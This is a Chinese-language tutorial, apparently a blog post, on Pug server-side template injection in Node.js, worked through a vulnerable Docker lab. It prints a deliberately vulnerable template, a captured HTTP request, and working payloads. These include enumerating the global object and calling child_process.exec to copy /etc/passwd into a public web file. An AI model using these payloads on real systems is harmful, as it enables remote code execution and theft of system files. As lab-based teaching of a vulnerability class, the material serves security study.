XSS 模版注入与远程代码执行

Node.js 允许你在浏览器之外运行 JavaScript。由于 Node.js 具有精简,快速和 跨平台的特性, 所以它可以通过统一堆栈来大大简化项目。虽然 Node.js 不是 Web 服务器,但它允许服务器(可以用 JavaScript 编程的东西)存在于实际 Web 客户端之外的环境中。
随着 Node.js 越来越流行,它的安全问题是黑客与安全研究人员的焦点。

模版引擎

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

Pug 是一款健壮、灵活、功能丰富的 HTML 模板引擎,专门为 Node.js 平台开发。Pug 是由 Jade 改名而来。Pug 通过缩进(表示标签间的嵌套关系)的方式来编写代码的过程,在编译的过程中, 不需要考虑标签是否闭合的问题。

这是pug的官网,可以看一下它的语法:https://www.pugjs.cn/api/getting-started.html。

模版注入

服务端接受用户的输入,并将其作为 Web 应用模板的一部分,即允许修改底层模板, 在渲染过程中模板引擎执行用户插入的恶意内容。

这可以在 wiki,WSYWIG 或电子邮件模板中恶意使用。这种情况很少发生在无意中, 所以它经常被误解为只是 XSS。

PUG 模版注入实战

首先可以先下载一个靶机

1
2
sudo docker pull registry.cn-shanghai.aliyuncs.com/yhskc/chatsys:latest 
docker run -d -p 0.0.0.0:80:80 registry.cn-shanghai.aliyuncs.com/yhskc/chatsys

运行起来后可以选择其中的PUG XSS类型进行实战,一共有五个类型,每个类型的都提示了后台代码中的模版是什么。

也可以直接下载PUG template直接看看完整的后台模版代码是什么?我就直接贴在这里了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
doctype html
html(lang='en')
head
meta(charset='UTF-8')
title Chat Support Systems
meta(name='viewport', content='width=device-width, initial-scale=1')
link(href='/stylesheets/stylesNew.css', rel='stylesheet')
script.
var toggle = function(id) {
var mydiv = document.getElementById(id);
if (mydiv.style.display === 'none' || mydiv.style.display === '')
mydiv.style.display = 'block';
else
mydiv.style.display = 'none'
}
body.home
.center
.navigation
.left
.logo
p
img(src='/pics/logo2.png', alt='logo')
| Chat Support Systems
.right
a.link(href='/') Home
|
a.link(href='/chatchannel/1') Chat
br
br
script.
var user3 = #{name3};
script.
var user5 = #{name5};

form(method="get" action="")
br
br
input(type='button', value='Exercise 1', onclick='toggle("ex1");')
#ex1
b Escaped String Interpolation
br
pre.
p No results found for \#{name1}
input(type='text', placeholder='name1' name='name1')
p No results found for #{name1}
br
input(type='button', value='Exercise 2', onclick='toggle("ex2");')
#ex2
b Unescaped String Interpolation
br
pre.
p No results found for ! {name2}
input(type='text', placeholder='name2' name='name2')
p No results found for !{name2}
br
input(type='button', value='Exercise 3', onclick='toggle("ex3");')
#ex3
b Escaped String Interpolation into dynamic inline Javascript
br
pre.
script.
var user3 = \#{name3};
.
.
p No results found for \#{name3}
input(type='text', placeholder='name3' name='name3')
p No results found for #{name3}
br
input(type='button', value='Exercise 4', onclick='toggle("ex4");')
#ex4
b Unescaped buffered code
br
pre.
p!= 'No results found for '+name4
input(type='text', placeholder='name4' name='name4')
p!= 'No results found for '+name4
br
input(type='button', value='Exercise 5', onclick='toggle("ex5");')
#ex5
b Escaped String Interpolation into escaped dynamic inline Javascript
br
pre.
script.
var user3 = \#{name5};
.
.
p No results found for \#{name5}
input(type='text', placeholder='name5' name='name5')
p= 'No results found for '+name5
br
br
input(type='submit', value='Submit')
include footer.pug

我们可以参考这个官发文档,看看这个模版语法的使用方式:https://www.pugjs.cn/language/interpolation.html

字符串嵌入,转译

这个也就是name3的练习,也就是script.var user3 = #{name3};,官方文档这么说:

在 #{ 和 } 里面的代码也会被求值,转义,并最终嵌入到模板的渲染输出中。里面可以是任何的正确的 JavaScript 表达式,您可以自由发挥。Pug 足够聪明来分辨到底哪里才是嵌入表达式的结束,所以您不用担心表达式中有 },也不需要额外的转义。如果您需要表示一个 #{ 文本,您可以转义它,也可以用嵌入功能来生成(可以,这很元编程)。

那么我们输入一段alert(1),那么这段代码是可以被成功执行的

字符串嵌入,不转译

这个是name2的练习,也就是这里No results found for !{name2},这里的name2就是未转译的,可以注入和任何的代码。

RCE(远程代码执行)

程序对输入检测不到位,导致攻击者能够执行非预期的代码或系统命令。从而能够 获取 Webshell ,取得对主机的控制权限。每次入侵和 Web 应用程序渗透测试中 必须寻找的 。

在 Node.js 项目中,使用 JavaScript 作为开发语言,如果出现模版注入漏洞,往 往会升级成为 RCE(远程命令执行)

原理

要获得 shell 执行,我们必须找到正确的函数来在 Node/JavaScript 中执行。
JavaScript 中有一个特殊的对象,称为全局对象(Global Object),它及其所有属性都 可以在程序的任何地方访问,即全局变量。
在浏览器 JavaScript 中,通常 window 是全局对象, 而 Node.js 中的全局对象是 global,所有全局变量(除了 global 本身以外)都是 global 对象的属性。
我们将识别自身全局对象的根节点,然后继续确定我们可以访问哪些模块和功能。我们在 Pug 中,“=”字符允许我们输出 JavaScript 结果。

shell执行

希望最终使用 Require 函数导入 child_process.exec 以运行操作系统命令。

在刚才我们下载的靶机容器中,选择DirectMessage。

然后尝试根据利用页面发送一个正常的请求,用Burp去抓取这个请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /ti?user=123&comment=123&link=123 HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/directmessage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: donotdecodeme=eyJtb2R1bGUiOiJub2RlLXNlcmlhbGl6ZSJ9; connect.sid=s%3AVU1ANHOw6j5S8Ygfy1tLdf3AczQ39l62.PhsSveuhXOGInftaGxO4Nk7GowYsYOUH9EtCzAopQsY
Connection: close

这个是返回的raw

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 94
ETag: W/"5e-J9rgth9jWBVgwNEi1Bjz4VVG+F8"
Date: Tue, 21 Sep 2021 02:59:09 GMT
Connection: close

<meta http-equiv="refresh" content="3;url=/directmessage"/><p>Message has been sent to 123</p>

这个就是burp抓到的请求,可以看到,我们的user的内容被后台的pug渲染了,我们尝试在这里执行一段代码,让user为=8*8,这里需要用burp的encoder去进行url编码然后放进去。

尝试之后,我们发现确实可以执行,返回了64,那就说明这段代码存在xss注入漏洞,那在这里我们就可以执行我们想要执行的任何代码了。

注意,下面的代码我都是写的原始形式,注入的时候需要先编码一下。

1
2
each val,index in global
p=index

这段代码注入后,会讲global变量的每一个属性输出为一个p标签,我们就可以获得所有的属性。

然后逐渐查找,我们会找到global.process.mainModule.require,这个就是我们使用的require语句,然后我们可以构造这样一个代码

1
2
var x = global.process.mainModule.require
x('child_process').exec('cat /etc/passwd >> /opt/web/chatSupportSystems/public/account.txt')

这样,我们再访问account.txt文件时,就可以获取所有的passwd了。

如何快速找到模版引擎中的代码漏洞

可以使用tplmap来查找漏洞,使用方式与sqlmap差不多。